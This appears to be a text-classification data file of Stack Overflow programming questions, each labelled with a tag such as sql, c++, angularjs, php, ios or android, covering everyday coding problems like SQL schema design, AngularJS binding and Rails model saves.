unsure of best way to handle a task in sql  i have items in a table that need to have a history associated with them. the history will have information about where a part is / has been. so  part a was received  then put in a machine  then taken out  then tested  then put into a new machine.     i need to store each of those events and associate them with the part.     originally my thought was to simply add a column each time a new event happened. so parta would have a column hist1 = receivedid  hist2 = usedid .. and so on. with each column pointing to an id that identifies the event. but this doesn t feel like a clean solution at all  with parts sometimes moving around a lot  the amount of columns could get unnecessarily big for some  and would be left empty for others.    would anyone with more experience have an idea as to how best handle this,sql
error c4996  fopen  not declared <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/14386/fopen-deprecated-warning >fopen deprecated warning</a>    </blockquote>     while creating my project  i encountered this error:     error c4996:  fopen : this function or variable may be unsafe. consider using fopen_s instead. to disable deprecation  use _crt_secure_no_warnings. see online help for details. 1>          c:\program files (x86)\microsoft visual studio 11.0\vc\include\stdio.h(218) : see declaration of  fopen     however  i have also included stdio.h and fstream as headers because others told me to do so. i still encounter the error.    here is my code for the part of the error:    <a href= http://pastie.org/5796103  rel= nofollow noreferrer >http://pastie.org/5796103</a>    can anyone help me,c++
angular binding is not working on textbox   i am facing a string problem. i have placed a text input control and bind it with <strong>controller</strong> property and added a button input  but when i am trying to get the text input value on button click i am getting blank.    controller   <pre><code>chat.controller( chatcontroller   [ $scope    board    $log   function ($scope  board  $log) { $scope.messages = []; $scope.comment =   ; board.startboard(function () {     board.loadallmessages().then(function (messages) {         $scope.messages = messages;     }); }); $scope.likeclick = function (isfromchild  message) {     $log.info(message); }; $scope.dislikeclick = function (isfromchild  message) {     $log.info(message); }; $scope.addcomment = function () {     //here is this problem     alert($scope.comment);     $scope.comment =   ;  }; } ]); </code></pre>   mark up   <pre><code> &lt;div style= margin-top: 10px &gt;                                     &lt;div class= input-group &gt;                                         &lt;input type= text  class= form-control  data-ng-model= comment  placeholder= write a comment...  /&gt;                                         &lt;span class= input-group-btn &gt;                                             &lt;button class= btn btn-info  data-ng-click= addcomment()  id= button1 &gt;                                                 post commant&lt;/button&gt;&lt;/span&gt;                                     &lt;/div&gt;                                 &lt;/div&gt; </code></pre>,angularjs
$scope variables are not working inside $scope function in angularjs  scope variable returns undefined value when using inside same scope function.    <em>index.html</em>   <pre><code>&lt;body ng-app= starter  ng-controller= appctrl &gt;                 &lt;form ng-submit= submit() &gt;                         &lt;span class= input-label &gt;name&lt;/span&gt;                         &lt;input type= text  name= name  ng-model= name &gt;                              &lt;input type= submit  name= submit  value= submit &gt;                                     &lt;/form&gt; &lt;/body&gt; </code></pre>   <em>app.js</em>   <pre><code>angular.module( starter   []) .controller( appctrl   function($scope) {     $scope.submit = function(){         alert($scope.name+  scope variable );             }}); </code></pre>   <em>output:</em>   <pre><code>undefined scope variable </code></pre>,angularjs
how to change value of one textbox instantly as soon as the value of another textbox is going to change  i am making an asp.net webpage where i am having three textbox. let s consider textbox1  textbox2  textbox3. now when i load the page the default value which textbox1 is having is 10000. now i want to enter a value into textbox2. as soon as i enter value into textbox2 it should automatically show the remaining value in textbox3. example: default value of textbox1 value is 10000. when i enter 1500 into textbox2. value of textbox3 should be 8500. it should change instantly as soon as the value of textbox2 is going to change. whatever may be the value of textbox2  it should get subtract from textbox1 and should get flashed on textbox3 instantly without pressing any button.,asp.net
best way to return a set of values from a function  i have a list of counters and i am checking each counter at each clock interrupt. whenever the counters expire i need to return all the counters expired to the calling code so as to know which one expired. what would be the most elegant way to do the same   i was thinking about setting each flags in an array and checking. but i found that to be one more round of checking which is done while counter expiry is checked.    the function checkcounterexpiry is called whenever a clock tick expires. the return is not handled below as that is my query.   <pre><code>void  checkcounterexpiry() { node *prev  *temp; if (head == null) {     return; } else {     /*check for counter and delete  return set of deleted id types as to signal            which got deleted*/     prev = null;     temp = head;             while (temp-&gt;next != null)      {         if (clocktick== temp-&gt;target)         {             if (prev == null)             {                 head = null;             }             /* i need to return the list of temp-&gt;counterid here. how to do it best */             prev-&gt;next = temp-&gt;next;             free(temp);          }         else         {             prev= temp;             temp = temp-&gt;next;         }      }    }  } </code></pre>,c
castle.microkernel  i am trying to get castle.microkernel from this url <a href= http://www.castleproject.org/castle/download.html  rel= nofollow >http://www.castleproject.org/castle/download.html</a> but i can not seem to find it in the latest zip file. please help.    i need castle.microkernel and does any one know where i could find it.,c#
sql insert if no record exists  i m trying to insert a couple of values into a table via php as follows:   <pre><code>$sql =  insert into table1(field1  field2)             values (    )              ;     $stmt = $db-&gt; prepare($sql);     $stmt-&gt;execute(array($field1  $field2));     $stmt-&gt;closecursor(); </code></pre>   field 1 is a primary key.    however  i only want to insert field1 if there is not already an instance of that record for field1 in the table (for example  if there s already a field1 record as  orange  it should not insert another  orange  if asked to do so).    i feel like this must be pretty straight forward to do but nothing i m trying seems to be working.,sql
"jquery image not changing on click correctly  i m trying to get this working so that when the menu is clicked it displays a element underneath it. i also want there to be an image that changes from displaying an arrow pointing right to an arrow pointing left.    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>$(document).ready(function(){
  
   var background = $( #background_container ).attr( display );
   
   $( div#1_open ).click(function(){
 
     $( div#background_container ).toggle()
       if(background =  none ){
         $( #1_arrow ).attr( src     ./resources/images/icons/left.png );
       }else{
   $( #1_arrow ).attr( src     ./resources/images/icons/right.png ); 
       };
     });  
 });</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.header{
  width:300px;
  margin:10px 0px;
  height:40px;
  color:grey;
  font-family:monospace;
  font-size:20px;
  line-height:40px;
  vertical-align:top;
  margin-left:10px;
  cursor:pointer;
  -webkit-user-select: none; 
   -ms-user-select: none;
   -moz-user-select: none; 
   -khtml-user-select: none; 
  -o-user-select: none; 
  user-select: none;
 }
 .arrow{
   width:40px;
   height:40px;
   margin-right:10px;
  }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= background &gt;
      &lt;div class= header  id= 1_open &gt;&lt;img src= ./resources/images/icons/right.png  class= arrow  id= 1_arrow &gt;background&lt;/div&gt;
         &lt;div id= background_container  style= display:none; &gt; &lt;/div&gt;
     &lt;/div&gt;</code></pre>
 </div>
 </div>",jquery
sorting json with values from database in rails  consider the below situation    i have a database table as below   <pre><code>user_id user_rank ------------------ 22       10 32        9 43        7 31        6 </code></pre>   and i have a json object with the user id like (other nodes in json are hidden for simplicity  consider this response is from an api)   <pre><code>{ user_id :[31 22 43 32]}  </code></pre>   now  how do i sort the json result based on the rank of a user_id in database and produce a result like    <pre><code>{ user_id :[22 32 43 31]} </code></pre>   is there anything like linq in rails  so that i can save the json object values in it  and make join between the object and database table to obtain the sorted json,ruby-on-rails
friend class in objective c  i am porting cpp code into objective c.    in <code>cpp</code> we can add a class as <code>friend class</code> to another class and use all its public functions and variables.    i know that <code>objective c does not support friend class</code> concept.     how do i make a class as a friend to another class in objective c,objective-c
mysql: enum field searching with null values  table person:   <pre><code>name type enum( admin   user   random ) null default null </code></pre>   when this query is performed  it doesnt return the records that have a type of null    <pre><code>select * from person where type !=  admin ; </code></pre>,mysql
random function in c  i need a random function for number betwen 11 and 99. i wrote this:   <pre><code>int random (void){     int i2;     i2=11+(rand()%99);           return i2; } </code></pre>   but the numbers go over 99. why,c
php which one is less time consuming mysqli_fetch_array() vs mysqli_fetch_object()  suppose i have a one sql query for fetching data   <pre><code>$sql= select * from tbl_persons ; $result=mysqli_query($con $sql); </code></pre>   this is for fetching result associative arrya   <pre><code>// numeric array $row=mysqli_fetch_array($result mysqli_assoc); </code></pre>   and this will fetch object   <pre><code>$row=mysqli_fetch_object($result mysqli_assoc); </code></pre>   i need answer which one is faster and better option to use,php
using lambda in a for loop with zip()  hello guys i ve been playing today a bit with python and got a bit confused while using the lambda fucntion.  my original intention was to subtract the value of each element in a vector with the values form a second vector and introduce all the results in a 3rd vector. went like this:    <pre><code>v1=[1  2  3  4] v2 =[7 2  7  6] v3=[x-y for x y in zip(v1 v2)] </code></pre>   then i though to calculate using the same structure the absolute value using a lambda function and i tried this:   <pre><code>v1=[1  2  3  4] v2 =[7 2  7  6] [lambda x y: x-y if x&gt;y else y-x for x y in zip(v1 v2)] </code></pre>   this only gives memory locations i think. and i don t know why   wehre i did wrong,python
testing on an old iphone with no at&t account  i have an active 3g iphone. i do most of my testing on it.    i have an old g1 iphone from a friend. it has a sim but no active account. it shows  please connect to itines  logo. when i do  itunes asks me if i want to set up a new at&amp;t account or if i want to transfer one from a different phone.    i want to test my app on this older device. i wonder how i get through to it. i don t need to use cellular functionality on it.,iphone
active record wont save for some reason  i have an model called assignment  which represents a rich join between users and questions in a multiple choice quiz app. when a user answers a question  the response is recorded in the following update method in the assignments controller   <pre>      def edit         @assignment = assignment.find_by_id(params[:id])         @user =     @assignment.user         @question = @assignment.question         puts  user #{@user} question #{@question} assignment #{@assignment}        end      def update         @assignment = assignment.find(params[:id])         @user = @assignment.user         @assignment.update_attributes(:response => params[:assignment][:response])         if @assignment.save           flash[:notice] =  your response has been saved            redirect_to(:action =>  show   :id => @assignment.id   :user_id => @user.id)         else           puts @assignment.save           puts  could not save            render(user_assignment_path(@user  @assignment)   :html => {:method => :get})         end       end  </pre>   i have a before save called grade that gets called. here is the model:   <pre>       class assignment  activerecord::base       belongs_to :user       belongs_to :question       attr_accessible :title  :body  :user_id  :question_id   :response       before_save :grade         def grade         self.correct = (response == self.question.solution) unless response == nil       end     end  </pre>   so the first time i submit a response  the save works perfectly and it redirects me accordingly. after that  if i try to edit the question again and resubmit the form  the save fails.    can anyone think of a reason this might be occurring     in addition i know there is an error in the second redirect  so if someone could correct my usage that would be a bonus help    edit here is the edit erb  in case someone can spot something wrong here. i also added the edit method in the controller above.    <code>   <pre>&lt;div class= admin-display &gt;   &lt;%if @admin%&gt;     &lt;p&gt;       you may edit the user s response below or change the question to override whether the question is marked correct.     &lt;/p&gt;   &lt;%end%&gt; &lt;/div&gt; &lt;div class= question body &gt;   &lt;%= @question.question %&gt; &lt;/div&gt; &lt;div class= answer-choices &gt;   &lt;%=  params[:user_id] +     + params[:id]  %&gt;   &lt;ol type= a &gt;     &lt;%=form_for(@assignment   :url =&gt; user_assignment_path(params[:user_id]   params[:id])   :html =&gt; {:method =&gt;  put }   :user_id =&gt; params[:user_id]) do |f|%&gt;       &lt;%[@question.answera  @question.answerb  @question.answerc  @question.answerd].each do |choice|%&gt;         &lt;li&gt;           &lt;%=  f.radio_button(:response  choice)%&gt;           &lt;%= choice %&gt;         &lt;/li&gt;       &lt;%end%&gt;         &lt;/ol&gt;     &lt;div class= form-buttons &gt;       &lt;%= submit_tag( submit response ) %&gt;     &lt;/div&gt;   &lt;%end%&gt; &lt;/div&gt; </code></pre>       edit 2 i have just gone through the steps by hand in the rails console  without any issue  so there must be something strange going on.,ruby-on-rails
finding records which belong to multiple models with habtm  my track model has_and_belongs_to_many :moods  :genres  and :tempos (each of which likewise has_and_belongs_to_many :tracks).    i m trying to build a search  filter  where users can specify any number of genres  moods  and tempos which will return tracks that match any conditions from each degree of filtering.     an example query might be   <pre><code>params[:genres] =&gt;  rock  pop  punk  params[:moods] =&gt;  happy  loud  params[:tempos] =&gt;  fast  medium  </code></pre>   if i build an array of tracks matching all those genres  how can i select from that array those tracks which belong to any and all of the mood params  then select from that second array  all tracks which also match any and all of the tempo params     i m building the initial array with   <pre><code>@tracks = [] genre.find_all_by_name(genres).each do |g|   @tracks = @tracks | g.tracks end </code></pre>   where <code>genres = params[:genres].split(   )</code>    thanks.,ruby-on-rails
mysqldump and autoincrement and inserting value  i was looking at the mysqldump file that was generated and noticed something odd. the auto_increment when the table is created is 2. the first inserts uses 1. is there anything wrong about inserting a value into the database that is below the auto increment value    <pre><code>drop table if exists `phppos_locations`; /*!40101 set @saved_cs_client     = @@character_set_client */; /*!40101 set character_set_client = utf8 */; create table `phppos_locations` (   `location_id` int(11) not null auto_increment    `name` varchar(60) collate utf8_unicode_ci default       `address` tinytext collate utf8_unicode_ci    `phone` varchar(30) collate utf8_unicode_ci default       `fax` varchar(30) collate utf8_unicode_ci default       `email` varchar(100) collate utf8_unicode_ci default       `receive_stock_alert` int(1) default  0     `stock_alert_email` varchar(255) collate utf8_unicode_ci default null    `return_policy` text collate utf8_unicode_ci    `timezone` varchar(255) collate utf8_unicode_ci default null    `mailchimp_api_key` varchar(255) collate utf8_unicode_ci default null    `enable_credit_card_processing` int(1) default null    `merchant_id` varchar(255) collate utf8_unicode_ci default null    `merchant_password` varchar(255) collate utf8_unicode_ci default null    `default_tax_1_rate` decimal(15 3) default null    `default_tax_1_name` varchar(255) collate utf8_unicode_ci default null    `default_tax_2_rate` decimal(15 3) default null    `default_tax_2_name` varchar(255) collate utf8_unicode_ci default null    `default_tax_2_cumulative` int(1) default  0     `deleted` int(1) default  0     primary key (`location_id`)    key `deleted` (`deleted`) ) engine=innodb auto_increment=2 default charset=utf8 collate=utf8_unicode_ci; /*!40101 set character_set_client = @saved_cs_client */;  -- -- dumping data for table `phppos_locations` --  lock tables `phppos_locations` write; /*!40000 alter table `phppos_locations` disable keys */; insert into `phppos_locations` values (1  default   123 nowhere street   555-555-5555      admin@phppointofsale.com  null null  test   america/new_york  null null null null null null null null null 0); /*!40000 alter table `phppos_locations` enable keys */; unlock tables; </code></pre>,mysql
hashedwheeltimer in c++   are there any classes that do similar work as <code>hashedwheeltimer</code> in java     any classes that support time scheduling and handles will meet our needs. any suggestion will be great.,c++
will xmldocument.load be overloaded if the input xml is over 100mb   we are using a tool that takes an xml file as input and converts it to csv.  the tool is working fine for a 50mb file  but throwing an exception for a 100mb file.    after analysis i found that the xmldocument.load function is overloaded with the input.  can you please suggest any way to deal with the errors,.net
rock paper scissors in c++  i am trying to finish an exercise from the book <em>programming principles and practice using c++</em> exercise 10 chapter 4. the exercise is about to write a rock paper scissor game  without using random function to let the computer  choose  between rock  paper or scissors  so you have to find a way to make the computer choice random. by the way that is not the point  the point is that my program keeps track of the player and the computer score. now the problem is that i don t know how to assign the score. i came up with this:   <pre><code>enum types {rock  paper  scissors} . . . . . /* this is the part where i check the score */   // all cases the player would lose if (player == rock &amp;&amp; computer == paper)    // paper beats rock     ++computer_score; else if (player == paper &amp;&amp; computer == scissors)   // scissors beat paper     ++computer_score; else if (player == scissors &amp;&amp; computer == rock)    // rock beats scissors     ++computer_score;  else // all other cases the player would win     ++player_score; </code></pre>   the problem is that i don t think that this piece of code is good. is there a smarter way to do so      on internet i found a version made by the mathematician nick maclaren. this is his code:   <pre><code>vector&lt;string&gt; words; words.push_back( rock ); words.push_back( paper ); words.push_back( scissors );  string guess; cout &lt;&lt;  make a guess - rock  paper or scissors\n ; while (cin &gt;&gt; guess) {     int yours  mine; //-your- is the user choice. -mine- is the computer choice     if (guess ==  rock )         yours = 0;     else if (guess  ==  paper )         yours = 1;     else if (guess  ==  scissors )         yours = 2;     else {         cout &lt;&lt;  invalid guess - rock used\n ;         yours = 0;     }     seed = (13*seed)%256;     mine = seed%3;     if (mine == yours) // draw         cout &lt;&lt;  both guesses were   &lt;&lt; words[yours] &lt;&lt;   - no winner\n ;     else if ((3+mine-yours)%3 == 1) // computer wins         cout &lt;&lt; words[mine] &lt;&lt;   beats   &lt;&lt; words[yours] &lt;&lt;   - i win\n ;     else // player wins         cout &lt;&lt; words[yours] &lt;&lt;   beats   &lt;&lt; words[mine] &lt;&lt;   - you win\n ; }      </code></pre>   by the way <a href= http://people.ds.cam.ac.uk/nmm1/c++/exercises/chapter_04/ex_04.cpp  rel= nofollow noreferrer >here</a> is the link for the full code that he made. if you look at the entire code maybe you will understand more.    so he uses another approach but i don t understand this part of his code:   <pre><code>else if ((3+mine-yours)%3 == 1)//&lt;-- i don t understand this conditional expression     cout &lt;&lt; words[mine] &lt;&lt;   beats   &lt;&lt; words[yours] &lt;&lt;           - i win\n ; </code></pre>   i got that if the result of that expression is 1  the computer wins  else the winner is the player  but i don t understand the logic.,c++
random list of products getting overwritten  i m trying to generate a random product list using the following method  but i m getting the same product instance multiple times.   <pre><code>output for count 5: name: qmlcloboa price: 3.608848 name: qmlcloboa price: 3.608848 name: qmlcloboa price: 3.608848 name: qmlcloboa price: 3.608848 name: qmlcloboa price: 3.608848 </code></pre>   i read on list type being a reference type &amp; it overwrites stuff. below is my code. am i missing something which could give me unique product instances  thanks &amp; i would appreciate your help.   <pre><code>public list&lt;product&gt; productgroupgenerator(int count)     {         list&lt;product&gt; plist = new list&lt;product&gt;();          for (int i = 0; i &lt; count; i++)         {             random r = new random();             string alphabet =  abcdefghijklmnopqrstuvwyxzeeeiouea ;             func&lt;char&gt; randomletter = () =&gt; alphabet[r.next(alphabet.length)];             func&lt;int  string&gt; makename =               (length) =&gt; new string(enumerable.range(0  length)                  .select(x =&gt; x == 0   char.toupper(randomletter()) : randomletter())                  .toarray());              //string last = makename(r.next(7) + 7);             //string company = makename(r.next(7) + 7) +   inc. ;              string prodname = makename(r.next(5) + 5);             int unitsinstock = r.next(100);             float unitprice = (float)(r.nextdouble() * 10);              product p = new product();             p.name = prodname;             p.unitsinstock = unitsinstock;             p.unitprice = unitprice;              plist.add(p);              p = null;         }          return plist;     } </code></pre>,c#
ios user defined files not found  on my ios project build setting    i have defined user search path of the library asio.    <pre><code>   always search user paths: yes    user header search paths: /asio-1.4.8/compiled/include  </code></pre>   so on my file  i have   <pre><code>   #include  asio.hpp  </code></pre>   the error is file asio.hpp not found.  but i checked inside and the file is there of the folder /asio-1.4.8/compiled/include,ios
server.execute  hi     i am using server.execute in my default.aspx to call default2.aspx is it possible to fire the default2.aspx page and control events from default.aspx,asp.net
"how can i place the two grid views near each other   i am making a website from scratch. i saw the grid views in w3school and thought  of using it. anyway  i used the float left in my .whole element but it s not working. i already tried changing it to clear left but it s not working too. could someone help me place the two .sections element next to each other                              <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>* {
   box-sizing: border-box;
 }
 
 .row::after {
   content:   ;
   clear: both;
   display: table;
 }
 
 [class*= col- ] {
   float: left;
   padding: 15px;
 }
 
 body {
   font-family:  lucida sans   sans-serif;
 }
 
 .header {
   width: 500px;
   background-color: #9933cc;
   color: #ffffff;
   padding: 15px;
 }
 
 .menu ul {
   list-style-type: none;
   margin: 0;
   padding: 0;
 }
 
 .menu li {
   padding: 8px;
   margin-bottom: 7px;
   background-color: #33b5e5;
   color: #ffffff;
   box-shadow: 0 1px 3px rgba(0  0  0  0.12)  0 1px 2px rgba(0  0  0  0.24);
 }
 
 .menu li:hover {
   background-color: #0099cc;
 }
 
 @media only screen and (min-width: 600px) {
   /* for desktop: */
   .col-3 {
     width: 15%;
   }
   .col-6 {
     width: 20%;
   }
 }
 
 .sections {
   width: 1300px;
 }
 
 .whole {
   float: left;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= whole &gt;
   &lt;div class= sections &gt;
     &lt;div class= header &gt;
       &lt;h1&gt;chania&lt;/h1&gt;
     &lt;/div&gt;
 
     &lt;div class= row &gt;
 
       &lt;div class= col-3 menu &gt;
         &lt;ul&gt;
           &lt;li&gt;the flight&lt;/li&gt;
           &lt;li&gt;the city&lt;/li&gt;
           &lt;li&gt;the island&lt;/li&gt;
           &lt;li&gt;the food&lt;/li&gt;
         &lt;/ul&gt;
       &lt;/div&gt;
 
       &lt;div class= col-6 &gt;
         &lt;h1&gt;the city&lt;/h1&gt;
         &lt;p&gt;chania is the capital of the chania region on the island of crete. the city can be divided in two parts  the old town and the modern city.&lt;/p&gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 
   &lt;div class= sections &gt;
     &lt;div class= header &gt;
       &lt;h1&gt;chania&lt;/h1&gt;
     &lt;/div&gt;
 
     &lt;div class= row &gt;
 
       &lt;div class= col-3 menu &gt;
         &lt;ul&gt;
           &lt;li&gt;the flight&lt;/li&gt;
           &lt;li&gt;the city&lt;/li&gt;
           &lt;li&gt;the island&lt;/li&gt;
           &lt;li&gt;the food&lt;/li&gt;
         &lt;/ul&gt;
       &lt;/div&gt;
 
       &lt;div class= col-6 &gt;
         &lt;h1&gt;the city&lt;/h1&gt;
         &lt;p&gt;chania is the capital of the chania region on the island of crete. the city can be divided in two parts  the old town and the modern city.&lt;/p&gt;
       &lt;/div&gt;
     &lt;/div&gt;
 
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",html
how do i choose the language for 70-536 microsoft exam  i went today to schedule the 70-536 framework foundations exam  i thought i could choose the language when registering for it  but i saw there is only one option. i guess i will have to choose the language if c# or vb.net when taking it on one of the first screens      i hope so  its already scheduled  and if it is in vb im screwed!...,.net
java program compiling  i have downloaded the java jdk but i am unable to run the program. it is giving me an error like: javac is not recognized as an internal or external command.i have written the program   <code>hello.java</code> and put it in the c directory.     where i am doing the mistake  i am compiling it with: <code>javac c:\hello.java</code>    do i need to give path location of my jdk version> how do i do that  i have installed my java in program files of c directory.   <pre><code>c:\&gt;set path= %path%;c:\program files\java\jdk1.6.0_22\bin  </code></pre>   c:\javac hello.java    i am still getting the error,java
is there a way to display a short message to the screen and have it disappear   i am looking to display a short message to the screen and have it diappear after a few seconds.  is there a way to do that     i am looking at alerts  but it doesn t seem like that is what i need.    what i am looking for is something equivalent of toast messages in android if that helps explain my question.,ios
quickaction in ios  can anyone point me to achieving the twitter like quickaction  i can do it on android pn <a href= http://www.londatiga.net/it/how-to-create-quickaction-dialog-in-android/  rel= nofollow >http://www.londatiga.net/it/how-to-create-quickaction-dialog-in-android/</a> thanks!,ios
allocating an object of abstract class type in my code  how to solve this problem is said allocating an object of abstract class type in my code llist    <pre><code>class graphl : public graph { private:     list&lt;edge&gt;** vertex;      int numvertex  numedge;      int *mark;  public:     graphl(int numvert)     {         init(numvert);     }      void init(int n) {         int i;         numvertex = n;         numedge = 0;         mark = new int[n];          for (i = 0; i&lt;numvertex; i++) mark[i] = 0;          vertex = (list&lt;edge&gt;**) new list&lt;edge&gt;*[numvertex];         for (i = 0; i&lt;numvertex; i++)         { </code></pre>   here is problem it said allocating an object of abstract class type  llist    <pre><code>            vertex[i] = new llist&lt;edge&gt;();         } </code></pre>,c++
should i pointer-cast from a private derived class to its base class   i found this from c++faq   <blockquote>    generally  no.        from a member function or friend of a   privately derived class  the   relationship to the base class is   known  and the upward conversion from   privatelyder* to base* (or   privatelyder&amp; to base&amp;) is safe; no   cast is needed or recommended.        however users of privatelyder should   avoid this unsafe conversion  since it   is based on a private decision of   privatelyder  and is subject to change   without notice.  </blockquote>   how to understand the above words  i don t think the explanation is correct or accurate.    i have a code like this    <pre><code>class a{ };  class b: private a{ };  int main(){      b *b = new b();     a *a = new a();      a = b;                    //wrong     a = (a*)b;            //right  } </code></pre>,c++
how to make capture screen and make video in iphone   i have implemented one iphone application in which there is some animation.i want to make video of animation using screen capture through programming.    is it possible      please help me for this query.    thanks in advance.,iphone
how to make all android library compatible with all android versions   my android application is not working on android versions like kitkat and below versions. please any one can help me for a solution. app gets unfortunately stopped on kitkat.,android
function name must be a string php  i get this error when i try to call the function func_connect_mssql.    here is my code:   <pre><code>    $func_connect   =  func_connect_mssql ;     $session = $func_connect($serv  $user  $pass  $base)  or die( &lt;p class= perror &gt;&amp;middot;failed - err connect:  .$func_error(). &lt;/p&gt; ); </code></pre>   as you can see func_connect is a variable that i m using to call the function that s why i used the  $func_connect   i tried to change that and put directly the name of my function but still returns the same error on the second line.,php
display different content depending on screen size and layout in android  i m trying to make an android app which has 2 layouts  one for phones and one for tablets.    i have the two layouts made  but i m having difficulty populating them with content. the phone layout (res/layout) consists of 1 list view which is populated from a database.    the tablet layout (res/layout-large) has 5 separate listviews which all need to be populated.    basically i need some way of doing this:   <pre><code>if(screensize != large) {   populatesinglelistview(); } else {   populatemultiplelistviews(); } </code></pre>   i tried using the following code to do it but it doesn t seem to detect the screen size within the emulator   <pre><code>(getresources().getconfiguration().screenlayout &amp;    configuration.screenlayout_size_mask) == configuration.screenlayout_size_large) </code></pre>   any ideas for a solution     thanks    chris,android
is it possible to ignore exit of child script from parent script in php   a child script terminates the parent script because it has <strong>exit;</strong>    since it is a third party extension  i need to avoid any core hack. would it be possible somehow to ignore the exit of the child script from parent script. i am calling its controller and a method from an external script.    <strong>parent.php</strong>   <pre><code>&lt; php  require  child.php ;   &gt; </code></pre>   <strong>child.php</strong>   <pre><code>&lt; php does something; exit;  &gt; </code></pre>   <strong>update</strong>    any alternative solution would be fine as long as we dont modify the child script.,php
clarification on the docs for pendingintent.flag_cancel_current  from the <a href= http://developer.android.com/reference/android/app/pendingintent.html#flag_cancel_current  rel= noreferrer >documentation of pending intent <code>flag_cancel_current</code></a> in android:   <blockquote>    by canceling the previous pending intent  this ensures that only entities given the new data will be able to launch it. if this assurance is not an issue  consider flag_update_current  </blockquote>   can anyone explain what this line means,android
invoke method in javascript  out of the following 2 ways of calling a method in javascript;   <ol> <li>myfunc(params);</li> <li>obj.myfunc();</li> </ol>   my questions are;   <blockquote>   <ol>   <li>for each of them  what exactly is the difference in accessing the values (for params/obj) inside myfunc()</li>   <li>for the 1st case  when we use  this  inside myfunc()    it would refer to global obj (window). what about the 2nd case </li>   <li>what are the use cases for using either of the 2 techniques </li>   </ol> </blockquote>   you can add any other significant differences between the 2 techniques as well. please suggest.,javascript
how to display html data which are store on string variable with proper format in rails3   *<em>this is for testing my application</em>*how to display html data which are store on string variable with proper format in rails3,ruby-on-rails
@suppresswarnings - static variable  which parameter <strong>@suppresswarnings</strong> use to hide <strong>warning(209.56): static variable should be qualified by type name  javax.swing.listselectionmodel  instead of by an expression</strong>,java
controllers not talking to each other via service in angular js  i am trying to send data from one controller to another with no success. i have tried all ideas found on stack overflow using angular services and i can t see what s wrong with my code.    i have a first controller that lists some items (cartsidebarctrl). it also has the ability to remove items from the list.    i have another controller that should display the number of items (topcartctrl).    on page load  the second controller displays the correct number of items. but when i remove some items in the first controller  the second is not updated.    what am i doing wrong here      html code:    <pre><code>&lt;div ng-controller= cartsidebarctrl &gt;     &lt;ul&gt;         &lt;li ng-repeat= product in products &gt;             {{product.name}} (&lt;span style= color: blue; cursor: pointer  ng-click= remove($index) &gt;remove&lt;/span&gt;)         &lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt;  &lt;div ng-controller= topcartctrl &gt;     &lt;span&gt;{{topcarttext}}&lt;/span&gt; &lt;/div&gt; </code></pre>   angular code:   <pre><code>magentoapp.factory( cartmodel   function () {     var cartmodel = {};      cartmodel.updateproducts = function(products) {         cartmodel.products = products;     };      return cartmodel; });  magentoapp.controller( cartsidebarctrl   [ $scope    $http    cartmodel   function($scope  $http  cartmodel) {     $scope.products = [         { name:  product 1  }          { name:  product 2  }     ];      $scope.remove = function($index) {         $scope.products.splice($index  1);         updatetopcart();     }      updatetopcart = function() {         cartmodel.updateproducts($scope.products);     }      updatetopcart(); }]);  magentoapp.controller( topcartctrl   [ $scope    cartmodel   function($scope  cartmodel) {     $scope.topcarttext = cartmodel.products.length; }]); </code></pre>  <hr>   [edit with updated code working]    beside the fact that object reference was not correct as mentionned by  m59  and  jesus rodriguez   i was calling for .length on cartmodel.products. for the same reason  my template was not updated. my solution is then to pass the products object to the template and call .length on this template. then  i wanted to display a different text based on products.length and made this work by creating a custom filter.    here is the correct code.    html:   <pre><code>&lt;div ng-controller= topcartctrl &gt;     &lt;span&gt;{{products.length | topcartfilter}}&lt;/span&gt; &lt;/div&gt;  &lt;div ng-controller= cartsidebarctrl &gt;     &lt;ul&gt;         &lt;li ng-repeat= product in products &gt;             {{product.name}} (&lt;span style= color: blue; cursor: pointer  ng-click= remove($index) &gt;remove&lt;/span&gt;)         &lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt; </code></pre>   angular:   <pre><code>magentoapp.factory( cartmodel   function() {     var cartmodel = {         products: [             { name:  product 1  }              { name:  product 2  }         ]     };     return cartmodel; });  magentoapp.filter( topcartfilter   function() {     return function(productscount) {         return (productscount &gt; 0)    you have   + productscount +   items in your cart :  your cart is empty ;     }; });  magentoapp.controller( topcartctrl   [ $scope    cartmodel   function($scope  cartmodel) {     $scope.products = cartmodel.products; }]);  magentoapp.controller( cartsidebarctrl   [ $scope    cartmodel   function($scope  cartmodel) {     $scope.products = cartmodel.products;      $scope.remove = function($index) {         $scope.products.splice($index  1);     } }]); </code></pre>,angularjs
how to place the selected li in h4 using jquery  <a href= http://jsfiddle.net/soul/eampb/  rel= nofollow >complete code jsfiddle</a>    as shown in the code the selected state comes below the h4   how to display the selected state in h4 and after selecting a state it just shows that particular state and not able to select other states,jquery
php require - variable is not defined  i have 2 files index.php and env.php file. i would like to use the variable from env.php file inside the index.php file for connecting to the db. i have tried doing this like this:    env.php:   <pre><code>&lt; php  $dbsettings = [ 192.168.10.10    homestead    secret    mydatabase ];    &gt; </code></pre>   and then requiring the env.file in index.php file and using the $dbsettings variable in index.php file like this:   <pre><code>&lt; php error_reporting( e_all ); ini_set(  display_errors   1 );  require  env.php ;  class calculator{      var $mysqli;      public function calculator(){         $this-&gt;mysqli = mysqli_connect( $dbsettings );      } </code></pre>   but  i get the error:   <blockquote>    notice: undefined variable: dbsettings in   /home/vagrant/projects/myproject/index.php on line 14  </blockquote>,php
copying files to/from ios application s data directory   post-install  how do i copy a config file (to set some logging parameters in my particular case) to my ios application s data directory     or  relatedly  how do i copy a data file <em>from</em> my app s data directory for me to examine for debugging purposes     ideally  i d like to use the usb connection that i already have set up for debugging. and without having to write my own file transfer manager that ships in my application.    i m more or less looking for the ios equivalent of android s <code>adb push</code> and <code>adb pull</code>.,ios
